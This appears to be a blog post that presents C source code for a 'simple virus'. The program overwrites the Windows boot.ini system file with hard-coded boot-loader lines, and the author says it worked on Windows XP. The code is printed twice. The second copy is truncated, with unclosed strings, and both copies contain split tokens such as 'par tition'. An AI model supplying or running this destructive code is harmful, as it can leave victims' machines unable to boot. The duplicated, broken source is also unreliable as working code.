Here is the code for a simple virus programmed in C.
#include <stdio.h>
#include <string.h>
void main()
{
FILE *fp;
char line[5][50];
int j;
fp = fopen("c:\\boot.ini", "w");
strcpy(line[0], "[boot loader]");
strcpy(line[1], "timeout=30");
strcpy(line[2], "default=multi(0)disk(0)rdisk(0)par tition(1)");
strcpy(line[3], "[operating systems]");
strcpy(line[4], "multi(0)disk(0)rdisk(0)partition(1 )");
for (j = 0; j< 5; j++)
{
fputs(line[j], fp);
fputc('\n', fp);
}
fclose(fp);
}
This program replaces the system file "boot.ini" in system drive with a new one.
This worked with me in Windows XP.
#include <stdio.h>
#include <string.h>
void main()
{
FILE *fp;
char line[5][50];
int j;
fp = fopen("c:\\boot.ini", "w");
strcpy(line[0], "[boot loader]");
strcpy(line[1], "timeout=30");
strcpy(line[2], "default=multi(0)disk(0)rdisk(0)par
strcpy(line[3], "[operating systems]");
strcpy(line[4], "multi(0)disk(0)rdisk(0)partition(1
for (j = 0; j< 5; j++)
{
fputs(line[j], fp);
fputc('\n', fp);
}
fclose(fp);
}
This program replaces the system file "boot.ini" in system drive with a new one.
This worked with me in Windows XP.
No comments:
Post a Comment
If you're having issues, Please leave an email address I can contact you on -
I advise you to also "subscribe to the comment feed" and get email updates when I respond to your question.
Hyperlinks are not allowed, Spam/advertising comments will NEVER BE TOLERATED and will be deleted immediately!
Thanks for reading,
Admin